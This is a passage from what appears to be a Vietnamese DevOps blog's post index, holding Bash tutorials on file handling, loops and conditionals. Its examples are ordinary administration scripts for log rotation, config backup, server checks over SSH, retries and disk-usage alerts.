\u0026#34;${PATH_NAME}\u0026#34; ]] # tồn tại [[ -f \u0026#34;${PATH_NAME}\u0026#34; ]] # regular file [[ -d \u0026#34;${PATH_NAME}\u0026#34; ]] # directory [[ -r \u0026#34;${PATH_NAME}\u0026#34; ]] # readable [[ -w \u0026#34;${PATH_NAME}\u0026#34; ]] # writable [[ -x \u0026#34;${PATH_NAME}\u0026#34; ]] # executable/searchable [[ -s \u0026#34;${PATH_NAME}\u0026#34; ]] # tồn tại và size \u0026gt; 0 Ví dụ backup config chỉ khi file tồn tại và đọc được:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/usr/bin/env bash set -euo pipefail CONFIG_FILE=\u0026#34;${1:-/etc/example/app.conf}\u0026#34; BACKUP_DIR=\u0026#34;${BACKUP_DIR:-./backup}\u0026#34; if [[ ! -f \u0026#34;${CONFIG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Not a regular file: ${CONFIG_FILE}\u0026#34; exit 1 fi if [[ ! -r \u0026#34;${CONFIG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Cannot read: ${CONFIG_FILE}\u0026#34; exit 1 fi mkdir -p \u0026#34;${BACKUP_DIR}\u0026#34; cp -- \u0026#34;${CONFIG_FILE}\u0026#34; \u0026#34;${BACKUP_DIR}/$(basename \u0026#34;${CONFIG_FILE}\u0026#34;).$(date +%Y%m%d%H%M%S).bak\u0026#34; Dấu -- sau cp giúp kết thúc danh sách option. Đây là thói quen tốt khi biến có thể bắt đầu bằng -.\nfind: tìm file theo điều kiện find phù hợp khi cần tìm file theo tên, loại, thời gian, kích thước hoặc thư mục con.\n1 2 3 find /var/log -type f -name \u0026#34;*.log\u0026#34; find /var/log -type f -name \u0026#34;*.log\u0026#34; -mtime +7 find ./backup -type f -name \u0026#34;*.bak\u0026#34; -size +100M Một số điều kiện thường gặp:\n-type f: chỉ file thường. -type d: chỉ thư mục. -name \u0026quot;*.log\u0026quot;: match theo tên. -mtime +7: file có modification time hơn 7 ngày. -size +100M: file lớn hơn 100 MiB theo cú pháp GNU find. -maxdepth 1: không đi quá sâu khỏi thư mục hiện tại. Ví dụ xem log cũ hơn 14 ngày nhưng chưa xóa:\n1 find /var/log/my-app -type f -name \u0026#34;*.log\u0026#34; -mtime +14 -print Khi viết script cleanup, nên chạy -print trước để review danh sách, sau đó mới đổi sang hành động xóa hoặc archive.\nxargs: truyền danh sách file cho lệnh khác xargs đọc dữ liệu từ stdin, gom thành argument và chạy command. Nó hữu ích khi danh sách file dài hoặc cần truyền kết quả của find cho lệnh khác.\nKhông nên dùng dạng mặc định cho file name tùy ý:\n1 find ./logs -type f -name \u0026#34;*.log\u0026#34; | xargs gzip Mặc định xargs tách input theo whitespace, nên tên file có space, tab hoặc newline có thể bị hiểu sai. GNU findutils khuyến nghị dùng find -print0 kết hợp xargs -0 để phân tách bằng NUL character:\n1 find ./logs -type f -name \u0026#34;*.log\u0026#34; -print0 | xargs -0 gzip Nếu dùng GNU xargs, thêm -r để không chạy command khi input rỗng:\n1 find ./logs -type f -name \u0026#34;*.log\u0026#34; -print0 | xargs -r -0 gzip Một lựa chọn khác là dùng find -exec ... {} +, portable và tránh pipe:\n1 find ./logs -type f -name \u0026#34;*.log\u0026#34; -exec gzip -- {} + Thực hành DevOps: rotate log thủ công Trong production, log rotation thường nên giao cho logrotate hoặc logging stack. Nhưng hiểu một script rotate nhỏ giúp bạn nắm rõ các thao tác file: kiểm tra size, rename, tạo file mới, compress và cleanup.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #!/usr/bin/env bash set -euo pipefail LOG_FILE=\u0026#34;${1:-./logs/app.log}\u0026#34; MAX_SIZE_MB=\u0026#34;${MAX_SIZE_MB:-100}\u0026#34; KEEP_DAYS=\u0026#34;${KEEP_DAYS:-14}\u0026#34; if [[ ! -f \u0026#34;${LOG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Log file not found: ${LOG_FILE}\u0026#34; exit 1 fi LOG_DIR=\u0026#34;$(dirname \u0026#34;${LOG_FILE}\u0026#34;)\u0026#34; LOG_NAME=\u0026#34;$(basename \u0026#34;${LOG_FILE}\u0026#34;)\u0026#34; SIZE_MB=\u0026#34;$(du -m \u0026#34;${LOG_FILE}\u0026#34; | awk \u0026#39;{print $1}\u0026#39;)\u0026#34; if (( SIZE_MB \u0026lt; MAX_SIZE_MB )); then echo \u0026#34;OK: ${LOG_FILE} is ${SIZE_MB}MB, no rotation needed\u0026#34; exit 0 fi TIMESTAMP=\u0026#34;$(date +%Y%m%d%H%M%S)\u0026#34; ROTATED_FILE=\u0026#34;${LOG_DIR}/${LOG_NAME}.${TIMESTAMP}\u0026#34; mv -- \u0026#34;${LOG_FILE}\u0026#34; \u0026#34;${ROTATED_FILE}\u0026#34; : \u0026gt; \u0026#34;${LOG_FILE}\u0026#34; gzip -- \u0026#34;${ROTATED_FILE}\u0026#34; find \u0026#34;${LOG_DIR}\u0026#34; -type f -name \u0026#34;${LOG_NAME}.*.gz\u0026#34; -mtime +\u0026#34;${KEEP_DAYS}\u0026#34; -print -delete echo \u0026#34;Rotated ${LOG_FILE} -\u0026gt; ${ROTATED_FILE}.gz\u0026#34; Một vài lưu ý:\n: \u0026gt; \u0026quot;${LOG_FILE}\u0026quot; tạo file rỗng mới bằng shell builtin : và redirect output rỗng. Script này phù hợp để học hoặc dùng cho service nhỏ. Với app đang ghi log liên tục, rotate thủ công có thể cần signal/reopen log tùy ứng dụng. Dùng find ... -print -delete để vừa thấy file nào bị xóa vừa cleanup. Thực hành DevOps: backup config trước khi deploy Trước khi deploy, một bước an toàn là backup các file config quan trọng vào thư mục riêng theo timestamp.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/usr/bin/env bash set -euo pipefail BACKUP_ROOT=\u0026#34;${BACKUP_ROOT:-./config-backups}\u0026#34; TIMESTAMP=\u0026#34;$(date +%Y%m%d%H%M%S)\u0026#34; BACKUP_DIR=\u0026#34;${BACKUP_ROOT}/${TIMESTAMP}\u0026#34; CONFIG_FILES=( \u0026#34;/etc/example/app.conf\u0026#34; \u0026#34;/etc/example/worker.conf\u0026#34; \u0026#34;/etc/nginx/conf.d/example.conf\u0026#34; ) mkdir -p \u0026#34;${BACKUP_DIR}\u0026#34; for CONFIG_FILE in \u0026#34;${CONFIG_FILES[@]}\u0026#34;; do if [[ ! -r \u0026#34;${CONFIG_FILE}\u0026#34; ]]; then echo \u0026#34;WARN: Skip unreadable config: ${CONFIG_FILE}\u0026#34; continue fi TARGET=\u0026#34;${BACKUP_DIR}${CONFIG_FILE}\u0026#34; mkdir -p \u0026#34;$(dirname \u0026#34;${TARGET}\u0026#34;)\u0026#34; cp -p -- \u0026#34;${CONFIG_FILE}\u0026#34; \u0026#34;${TARGET}\u0026#34; echo \u0026#34;Backed up ${CONFIG_FILE}\u0026#34; done find \u0026#34;${BACKUP_ROOT}\u0026#34; -mindepth 1 -maxdepth 1 -type d -mtime +30 -print -exec rm -rf -- {} + cp -p giữ lại mode, ownership và timestamp nếu quyền hệ thống cho phép. TARGET=\u0026quot;${BACKUP_DIR}${CONFIG_FILE}\u0026quot; giữ nguyên cấu trúc đường dẫn gốc bên trong thư mục backup, giúp restore dễ hơn.\nSai sót thường gặp Dùng \u0026gt; khi muốn append: \u0026gt; overwrite file; dùng \u0026gt;\u0026gt; hoặc tee -a nếu muốn ghi nối tiếp. Đặt sai thứ tự redirect: command 2\u0026gt;\u0026amp;1 \u0026gt;file khác command \u0026gt;file 2\u0026gt;\u0026amp;1. Bash xử lý redirect từ trái sang phải. Quên quote đường dẫn: Luôn dùng \u0026quot;${FILE}\u0026quot;, đặc biệt với path đọc từ input. Dùng xargs mặc định với file name tùy ý: Ưu tiên find -print0 | xargs -0 hoặc find -exec ... {} +. Xóa file ngay khi chưa review: Với cleanup, chạy find ... -print trước, sau đó mới thêm -delete hoặc rm. Tạo here-doc bị expand ngoài ý muốn: Quote delimiter (\u0026lt;\u0026lt;'EOF') nếu muốn giữ nguyên ${VAR} trong file output. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy phân biệt rõ thao tác: Xem nhanh file/log → cat, head, tail, tail -F. Ghi log script → redirect block hoặc tee -a. Tạo config nhiều dòng → here-doc, quote delimiter nếu cần template literal. Tìm/xử lý nhiều file → find, find -exec ... {} +, hoặc find -print0 | xargs -0. Best practices: Bắt đầu script bằng set -euo pipefail khi phù hợp. Kiểm tra -r, -w, -f, -d trước khi thao tác nguy hiểm. Dùng -- trước biến path trong các lệnh như cp, mv, rm, gzip. Với cleanup, log lại file bị tác động bằng -print hoặc echo. Troubleshooting: File log không ghi đủ stderr? → Đảm bảo có 2\u0026gt;\u0026amp;1 trước pipe hoặc redirect đúng thứ tự. tail -f không thấy log mới sau rotate? → Thử tail -F. Script lỗi với tên file có space? → Kiểm tra quote biến và cách dùng xargs. Lời kết Xử lý file là kỹ năng cốt lõi khi viết Bash cho DevOps. Khi nắm chắc redirect, here-doc, tee, đọc từng dòng, kiểm tra quyền, find và xargs, bạn có thể viết các script nhỏ nhưng an toàn hơn cho log, config, backup và cleanup.\nỞ bài tiếp theo, chúng ta sẽ đi vào text processing với grep, awk và sed: lọc log, trích cột, thay đổi config và đếm dữ liệu từ file text hiệu quả hơn.\nTài liệu tham khảo GNU Bash Manual — Redirections — Tài liệu chính thức về redirect, file descriptor và here-doc. GNU Coreutils Manual — cat — Cách cat đọc và ghi file/stdin/stdout. GNU Coreutils Manual — head — Tài liệu chính thức về head -n, head -c. GNU Coreutils Manual — tail — Tài liệu chính thức về tail -f, tail -F, --follow=name. GNU Coreutils Manual — tee — Tài liệu chính thức về tee và tee -a. GNU Findutils Manual — Tài liệu chính thức về find, xargs, -print0 và xargs -0. ","date":"08/06/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-four.webp","permalink":"/vi/posts/bash/bash-step-four/","summary":"Hướng dẫn xử lý file trong Bash: cat, head, tail, redirect, here-doc, tee, đọc từng dòng, kiểm tra quyền, find và xargs. Kèm ví dụ DevOps về rotate log thủ công và backup config.","tags":["bash","shell-script","devops","automation","linux"],"title":"Xử lý file trong Bash: đọc, ghi và quản lý an toàn cho DevOps"},{"categories":["DevOps","Bash"],"content":"Vòng lặp trong Bash cho DevOps Ở bài trước chúng ta đã dùng điều kiện để script biết rẽ nhánh theo trạng thái hệ thống. Nhưng trong công việc DevOps, rất nhiều tác vụ không chỉ chạy một lần: kiểm tra nhiều server, đọc từng dòng log, retry một lệnh có thể lỗi tạm thời, hoặc xử lý hàng loạt file cấu hình.\nVòng lặp trong Bash giúp bạn lặp lại một khối lệnh theo danh sách, theo điều kiện, hoặc cho đến khi một điều kiện được thoả mãn. Bài này đi qua for, while, until, break, continue và các ví dụ thực hành gần với vận hành hằng ngày.\nfor in — lặp qua danh sách Theo GNU Bash Manual, dạng for name in words; do ...; done sẽ mở rộng danh sách words, rồi chạy khối lệnh một lần cho từng phần tử. Ở mỗi lượt lặp, biến name nhận giá trị hiện tại.\nCú pháp phổ biến:\n1 2 3 for item in item1 item2 item3; do echo \u0026#34;Đang xử lý: ${item}\u0026#34; done Ví dụ — kiểm tra nhanh nhiều host bằng ping:\n1 2 3 4 5 6 7 8 9 10 11 12 13 #!/usr/bin/env bash set -euo pipefail HOSTS=(\u0026#34;web-01\u0026#34; \u0026#34;web-02\u0026#34; \u0026#34;db-01\u0026#34;) for HOST in \u0026#34;${HOSTS[@]}\u0026#34;; do echo \u0026#34;Checking ${HOST}...\u0026#34; if ping -c 1 -W 2 \u0026#34;${HOST}\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo \u0026#34;OK: ${HOST} reachable\u0026#34; else echo \u0026#34;WARN: ${HOST} unreachable\u0026#34; fi done Điểm quan trọng là dùng \u0026quot;${HOSTS[@]}\u0026quot; thay vì ${HOSTS[@]} trần. Cách quote này giữ nguyên từng phần tử array, kể cả khi giá trị có khoảng trắng.\nfor kiểu C — lặp theo bộ đếm Bash cũng hỗ trợ dạng for (( expr1; expr2; expr3 )), tương tự ngôn ngữ C. Dạng này phù hợp khi bạn cần bộ đếm rõ ràng: chạy đúng N lần, đánh số retry, hoặc tạo tên file theo index.\n1 2 3 4 5 6 #!/usr/bin/env bash set -euo pipefail for (( i = 1; i \u0026lt;= 5; i++ )); do echo \u0026#34;Attempt ${i}/5\u0026#34; done Ví dụ — tạo 3 file log giả lập cho môi trường test:\n1 2 3 4 5 6 7 8 9 10 11 #!/usr/bin/env bash set -euo pipefail LOG_DIR=\u0026#34;/tmp/bash-loop-demo\u0026#34; mkdir -p \u0026#34;${LOG_DIR}\u0026#34; for (( i = 1; i \u0026lt;= 3; i++ )); do LOG_FILE=\u0026#34;${LOG_DIR}/app-${i}.log\u0026#34; echo \u0026#34;$(date -Is) demo log ${i}\u0026#34; \u0026gt; \u0026#34;${LOG_FILE}\u0026#34; echo \u0026#34;Created ${LOG_FILE}\u0026#34; done Trong (( ... )), bạn có thể dùng toán tử số học quen thuộc như \u0026lt;=, ++, +=. Tên biến không bắt buộc có $ ở phía trước.\nwhile — lặp khi điều kiện còn đúng while chạy khối lệnh miễn là lệnh kiểm tra trả exit code 0. Đây là lựa chọn tốt khi số lần lặp chưa biết trước: đọc file đến hết, chờ service sẵn sàng, hoặc polling một endpoint.\nCú pháp:\n1 2 3 while \u0026lt;lệnh_kiểm_tra\u0026gt;; do \u0026lt;lệnh_cần_lặp\u0026gt; done Ví dụ — đọc file log theo từng dòng và lọc dòng lỗi:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/env bash set -euo pipefail LOG_FILE=\u0026#34;${1:-/var/log/app/app.log}\u0026#34; if [[ ! -r \u0026#34;${LOG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Không đọc được log file: ${LOG_FILE}\u0026#34; exit 1 fi while IFS= read -r LINE; do if [[ \u0026#34;${LINE}\u0026#34; == *\u0026#34;ERROR\u0026#34;* ]]; then echo \u0026#34;Found error: ${LINE}\u0026#34; fi done \u0026lt; \u0026#34;${LOG_FILE}\u0026#34; IFS= read -r LINE là pattern nên dùng khi đọc từng dòng:\nIFS= tránh việc Bash tự cắt khoảng trắng đầu/cuối dòng. read -r giữ nguyên dấu \\, không coi nó là ký tự escape. done \u0026lt; \u0026quot;${LOG_FILE}\u0026quot; đưa file vào stdin của vòng lặp, tránh cần gọi cat không cần thiết. until — lặp cho đến khi điều kiện đúng until gần giống while, nhưng logic ngược lại: nó chạy khối lệnh miễn là lệnh kiểm tra trả non-zero, và dừng khi điều kiện trả 0.\nCú pháp:\n1 2 3 until \u0026lt;lệnh_kiểm_tra\u0026gt;; do \u0026lt;lệnh_cần_lặp\u0026gt; done Ví dụ — chờ một endpoint healthcheck sẵn sàng:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env bash set -euo pipefail HEALTH_URL=\u0026#34;${1:-http://localhost:8080/health}\u0026#34; MAX_WAIT_SECONDS=\u0026#34;30\u0026#34; WAITED=\u0026#34;0\u0026#34; until curl -fsS \u0026#34;${HEALTH_URL}\u0026#34; \u0026gt;/dev/null; do if (( WAITED \u0026gt;= MAX_WAIT_SECONDS )); then echo \u0026#34;ERROR: Service is not healthy after ${MAX_WAIT_SECONDS}s\u0026#34; exit 1 fi echo \u0026#34;Waiting for service healthcheck... (${WAITED}s)\u0026#34; sleep 2 WAITED=$(( WAITED + 2 )) done echo \u0026#34;OK: Service is healthy\u0026#34; until đọc rất tự nhiên trong các tình huống \u0026ldquo;lặp cho tới khi thành công\u0026rdquo;. Nếu team của bạn thấy while ! command; do ... dễ hiểu hơn, dùng while cũng hoàn toàn ổn.\nbreak và continue break thoát khỏi vòng lặp hiện tại. continue bỏ qua phần còn lại của lượt lặp hiện tại và chuyển sang lượt tiếp theo. Theo GNU Bash Manual, cả hai đều dùng được trong for, while, until và select.\nVí dụ — bỏ qua file không phải .log, dừng khi gặp log quá lớn:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env bash set -euo pipefail for FILE in /var/log/*.log; do [[ -e \u0026#34;${FILE}\u0026#34; ]] || continue if [[ \u0026#34;${FILE}\u0026#34; != *.log ]]; then continue fi SIZE_MB=\u0026#34;$(du -m \u0026#34;${FILE}\u0026#34; | awk \u0026#39;{print $1}\u0026#39;)\u0026#34; if (( SIZE_MB \u0026gt; 1024 )); then echo \u0026#34;Stop: ${FILE} is larger than 1GB\u0026#34; break fi echo \u0026#34;Process ${FILE} (${SIZE_MB}MB)\u0026#34; done Dòng [[ -e \u0026quot;${FILE}\u0026quot; ]] || continue xử lý trường hợp glob /var/log/*.log không match file nào. Nếu không có file, Bash có thể giữ nguyên pattern thành chuỗi literal, nên cần kiểm tra tồn tại trước khi xử lý.\nThực hành DevOps: lặp qua danh sách server SSH Ví dụ này đọc danh sách server từ file, SSH vào từng host và chạy một lệnh kiểm tra ngắn. Tên server, user và command đều dùng placeholder chung, không phụ thuộc môi trường thật.\nTạo file servers.txt:\n1 2 3 webserver-01 webserver-02 worker-01 Tạo script check_servers.sh:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/env bash set -euo pipefail SERVER_FILE=\u0026#34;${1:-servers.txt}\u0026#34; SSH_USER=\u0026#34;${SSH_USER:-deploy}\u0026#34; REMOTE_COMMAND=\u0026#34;uptime\u0026#34; if [[ ! -r \u0026#34;${SERVER_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Cannot read server file: ${SERVER_FILE}\u0026#34; exit 1 fi while IFS= read -r SERVER; do [[ -n \u0026#34;${SERVER}\u0026#34; ]] || continue [[ \u0026#34;${SERVER}\u0026#34; != \\#* ]] || continue echo \u0026#34;===== ${SERVER} =====\u0026#34; if ssh -o BatchMode=yes -o ConnectTimeout=5 \u0026#34;${SSH_USER}@${SERVER}\u0026#34; \u0026#34;${REMOTE_COMMAND}\u0026#34;; then echo \u0026#34;OK: ${SERVER}\u0026#34; else echo \u0026#34;WARN: command failed on ${SERVER}\u0026#34; fi echo done \u0026lt; \u0026#34;${SERVER_FILE}\u0026#34; Chạy thử:\n1 2 chmod +x check_servers.sh ./check_servers.sh servers.txt Một vài điểm đáng chú ý:\nBatchMode=yes giúp SSH không hỏi password/passphrase trong automation. Nếu key chưa sẵn sàng, lệnh sẽ fail thay vì treo script. ConnectTimeout=5 tránh chờ quá lâu khi một host không phản hồi. Dòng rỗng và dòng comment bắt đầu bằng # được bỏ qua bằng continue. Không hardcode user nhạy cảm: script lấy SSH_USER từ biến môi trường, mặc định là deploy. Thực hành DevOps: retry lệnh thất bại Trong vận hành, có những lỗi chỉ tạm thời: network chập chờn, registry chưa phản hồi, endpoint vừa restart xong. Vòng lặp giúp bạn retry có kiểm soát thay vì chạy lại thủ công.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!/usr/bin/env bash set -euo pipefail URL=\u0026#34;${1:-https://example.com/health}\u0026#34; MAX_RETRIES=\u0026#34;5\u0026#34; SLEEP_SECONDS=\u0026#34;3\u0026#34; for (( attempt = 1; attempt \u0026lt;= MAX_RETRIES; attempt++ )); do echo \u0026#34;Attempt ${attempt}/${MAX_RETRIES}: ${URL}\u0026#34; if curl -fsS \u0026#34;${URL}\u0026#34; \u0026gt;/dev/null; then echo \u0026#34;OK: endpoint is reachable\u0026#34; exit 0 fi if (( attempt == MAX_RETRIES )); then echo \u0026#34;ERROR: endpoint is still unreachable after ${MAX_RETRIES} attempts\u0026#34; exit 1 fi sleep \u0026#34;${SLEEP_SECONDS}\u0026#34; done Ở đây, curl -f trả lỗi nếu HTTP status là 4xx/5xx, -sS giữ output gọn nhưng vẫn in lỗi khi thất bại. Exit code cuối cùng giúp pipeline biết nên tiếp tục hay dừng.\nSai sót thường gặp Lặp qua output của ls: for FILE in $(ls) dễ vỡ khi tên file có khoảng trắng hoặc ký tự đặc biệt. Hãy dùng glob (for FILE in *.log) hoặc find ... -print0 cho case phức tạp. Quên quote biến: Luôn dùng \u0026quot;${VAR}\u0026quot;, đặc biệt khi biến là đường dẫn, hostname hoặc dữ liệu đọc từ file. Dùng pipe làm mất biến ngoài vòng lặp: cat file | while read ... thường chạy vòng lặp trong subshell, thay đổi biến bên trong có thể không còn sau vòng lặp. Ưu tiên while ...; done \u0026lt; file. Vòng lặp vô hạn không có điều kiện dừng: Khi dùng while true, luôn có break, timeout, hoặc giới hạn số lần thử. Không xử lý dòng rỗng/comment: Khi đọc danh sách server hoặc config, nên bỏ qua dòng rỗng và comment để script bền hơn. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy xác định rõ vòng lặp đang lặp theo danh sách hay theo trạng thái: Có danh sách sẵn → thường dùng for. Đọc từng dòng hoặc chờ điều kiện còn đúng → thường dùng while. Chờ cho đến khi lệnh thành công → cân nhắc until. Best practices: Dùng IFS= read -r khi đọc file theo dòng. Quote array bằng \u0026quot;${ARRAY[@]}\u0026quot; khi lặp qua danh sách. Với retry, luôn có MAX_RETRIES và SLEEP_SECONDS rõ ràng. Với SSH automation, thêm timeout và tránh prompt tương tác. Troubleshooting: Vòng lặp không chạy? → Kiểm tra danh sách đầu vào có rỗng không, glob có match file không. Script dừng giữa chừng khi dùng set -e? → Một lệnh trong vòng lặp trả non-zero nhưng chưa được bọc bằng if, ||, hoặc xử lý exit code. Đọc file bị mất khoảng trắng? → Đảm bảo dùng IFS= read -r LINE. Lời kết Vòng lặp là nền tảng để Bash chuyển từ các script chạy một lần sang automation thật sự: xử lý nhiều server, nhiều file, nhiều dòng log và nhiều lần retry. Khi kết hợp for, while, until với điều kiện ở bài trước, bạn đã có thể viết các script DevOps nhỏ nhưng rất hữu dụng cho kiểm tra, triển khai và vận hành hằng ngày.\nỞ bài tiếp theo, chúng ta sẽ đi vào xử lý file trong Bash: đọc, ghi, redirect output, dùng tee, find, xargs và các pattern quản lý log/config an toàn hơn.\nTài liệu tham khảo GNU Bash Manual — Looping Constructs — Tài liệu chính thức về for, while, until. GNU Bash Manual — Bourne Shell Builtins — Tài liệu chính thức về break và continue. GNU Bash Manual — Bash Builtin Commands — Tài liệu chính thức về read, mapfile và các builtin khác. ShellCheck Wiki — SC2045 — Vì sao không nên lặp qua output của ls. ","date":"02/06/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-three.webp","permalink":"/vi/posts/bash/bash-step-three/","summary":"Hướng dẫn dùng vòng lặp for, while, until, break và continue trong Bash. Kèm ví dụ DevOps thực tế: lặp danh sách server, đọc log theo dòng và retry lệnh thất bại.","tags":["bash","shell-script","devops","automation","linux"],"title":"Vòng lặp trong Bash: for, while, until cho tự động hóa DevOps"},{"categories":["DevOps","Bash"],"content":"Điều kiện trong Bash cho DevOps Ở bài đầu tiên chúng ta đã viết script tuyến tính — chạy lần lượt từ trên xuống dưới. Trong thực tế vận hành, script thường phải ra quyết định: nếu service đã chạy thì bỏ qua, nếu disk vượt ngưỡng thì cảnh báo, nếu môi trường là production thì cần xác nhận trước khi deploy.\nĐiều kiện trong Bash chính là công cụ giúp script phản ứng linh hoạt với trạng thái hệ thống. Bài này sẽ đi qua if/elif/else, các toán tử so sánh, kiểm tra file và case…esac — kèm các ví dụ DevOps mà bạn có thể đem dùng ngay.\nif / elif / else Cú pháp cơ bản:\n1 2 3 4 5 6 7 if [[ \u0026lt;điều_kiện\u0026gt; ]]; then \u0026lt;lệnh khi đúng\u0026gt; elif [[ \u0026lt;điều_kiện_khác\u0026gt; ]]; then \u0026lt;lệnh khi điều kiện khác đúng\u0026gt; else \u0026lt;lệnh khi tất cả đều sai\u0026gt; fi Một vài lưu ý:\nTrong Bash hiện đại, ưu tiên dùng [[ ... ]] thay cho [ ... ]. [[ ]] là conditional expression của Bash, hỗ trợ thêm pattern matching và an toàn hơn với biến chứa khoảng trắng. Mỗi if phải kết thúc bằng fi. Nếu quên, bash -n script.sh sẽ báo lỗi cú pháp ngay. Khối lệnh thường thụt vào 2 khoảng trắng để dễ đọc. Ví dụ rất nhỏ — kiểm tra script có được chạy với quyền root hay không:\n1 2 3 4 5 6 7 #!/usr/bin/env bash if [[ \u0026#34;${EUID}\u0026#34; -eq 0 ]]; then echo \u0026#34;Đang chạy với quyền root.\u0026#34; else echo \u0026#34;Không phải root, một số lệnh có thể bị từ chối.\u0026#34; fi EUID là biến built-in của Bash, chứa effective user ID. User root luôn có EUID=0.\nToán tử so sánh số Khi so sánh số nguyên, dùng các toán tử dạng -eq, -ne, -gt…\nToán tử Ý nghĩa -eq bằng (equal) -ne khác (not equal) -gt lớn hơn (greater) -ge lớn hơn hoặc bằng -lt nhỏ hơn (less) -le nhỏ hơn hoặc bằng Ví dụ kiểm tra dung lượng ổ đĩa /:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/env bash set -euo pipefail DISK_USAGE_PERCENT=\u0026#34;$(df -P / | awk \u0026#39;NR==2 {gsub(\u0026#34;%\u0026#34;, \u0026#34;\u0026#34;, $5); print $5}\u0026#39;)\u0026#34; if [[ \u0026#34;${DISK_USAGE_PERCENT}\u0026#34; -ge 90 ]]; then echo \u0026#34;CRITICAL: Disk / đã dùng ${DISK_USAGE_PERCENT}%\u0026#34; exit 2 elif [[ \u0026#34;${DISK_USAGE_PERCENT}\u0026#34; -ge 80 ]]; then echo \u0026#34;WARNING: Disk / đã dùng ${DISK_USAGE_PERCENT}%\u0026#34; exit 1 else echo \u0026#34;OK: Disk / ở mức ${DISK_USAGE_PERCENT}%\u0026#34; fi Script trả exit code 0/1/2 tương ứng OK/WARN/CRIT. Đây là quy ước rất quen với các hệ giám sát như Nagios/Icinga và cũng dễ dùng trong cron hoặc pipeline CI/CD.\nMẹo: Bạn có thể dùng cú pháp (( ... )) cho số học, ví dụ if (( DISK_USAGE_PERCENT \u0026gt;= 80 )); then. Khi nằm trong (( )), bạn không cần $ trước tên biến và có thể dùng \u0026gt;=, \u0026lt;=, == quen thuộc.\nToán tử so sánh chuỗi Với chuỗi, dùng các toán tử khác:\nToán tử Ý nghĩa = / == bằng != khác -z STR chuỗi rỗng -n STR chuỗi không rỗng \u0026lt; / \u0026gt; so sánh thứ tự (chỉ trong [[ ]]) Ví dụ — gate môi trường trước khi deploy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env bash set -euo pipefail ENVIRONMENT=\u0026#34;${1:-}\u0026#34; if [[ -z \u0026#34;${ENVIRONMENT}\u0026#34; ]]; then echo \u0026#34;Usage: $0 \u0026lt;dev|staging|production\u0026gt;\u0026#34; exit 1 fi if [[ \u0026#34;${ENVIRONMENT}\u0026#34; == \u0026#34;production\u0026#34; ]]; then read -r -p \u0026#34;Bạn chắc chắn deploy lên PRODUCTION? (yes/no): \u0026#34; CONFIRM if [[ \u0026#34;${CONFIRM}\u0026#34; != \u0026#34;yes\u0026#34; ]]; then echo \u0026#34;Đã huỷ deploy.\u0026#34; exit 1 fi fi echo \u0026#34;Bắt đầu deploy lên ${ENVIRONMENT}...\u0026#34; Lưu ý quan trọng: luôn quote biến (\u0026quot;${ENVIRONMENT}\u0026quot;). Nếu để $ENVIRONMENT trần và biến rỗng, biểu thức [[ $ENVIRONMENT == \u0026quot;production\u0026quot; ]] vẫn chạy được, nhưng các script tương tự với [ ... ] có thể lỗi cú pháp khi biến rỗng.\nKiểm tra file và thư mục Bash có sẵn các toán tử dùng để kiểm tra trạng thái file:\nToán tử Ý nghĩa -e tồn tại (file hoặc thư mục) -f tồn tại và là file thường -d tồn tại và là thư mục -r đọc được -w ghi được -x thực thi được -s file tồn tại và có kích thước \u0026gt; 0 -L là symbolic link Ví dụ — script đảm bảo thư mục log tồn tại và file cấu hình hợp lệ trước khi chạy app:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/usr/bin/env bash set -euo pipefail APP_NAME=\u0026#34;manager-blog\u0026#34; CONFIG_FILE=\u0026#34;/etc/${APP_NAME}/app.env\u0026#34; LOG_DIR=\u0026#34;/var/log/${APP_NAME}\u0026#34; if [[ ! -f \u0026#34;${CONFIG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Không tìm thấy file cấu hình ${CONFIG_FILE}\u0026#34; exit 1 fi if [[ ! -r \u0026#34;${CONFIG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Không có quyền đọc ${CONFIG_FILE}\u0026#34; exit 1 fi if [[ ! -d \u0026#34;${LOG_DIR}\u0026#34; ]]; then echo \u0026#34;Tạo thư mục log: ${LOG_DIR}\u0026#34; mkdir -p \u0026#34;${LOG_DIR}\u0026#34; fi echo \u0026#34;Tiền kiểm tra OK, sẵn sàng start ${APP_NAME}.\u0026#34; Dấu ! ở đầu biểu thức là phép phủ định — [[ ! -f ... ]] đọc là \u0026ldquo;nếu file không tồn tại\u0026rdquo;.\nKết hợp nhiều điều kiện (AND / OR) Có hai cách phổ biến để ghép điều kiện:\nCách 1 — ghép trong cùng [[ ]] bằng \u0026amp;\u0026amp; và ||:\n1 2 3 if [[ -f \u0026#34;/etc/nginx/nginx.conf\u0026#34; \u0026amp;\u0026amp; -r \u0026#34;/etc/nginx/nginx.conf\u0026#34; ]]; then echo \u0026#34;Cấu hình Nginx tồn tại và đọc được.\u0026#34; fi Cách 2 — nối hai lệnh test riêng bằng \u0026amp;\u0026amp;/|| ở mức shell:\n1 2 command -v docker \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; echo 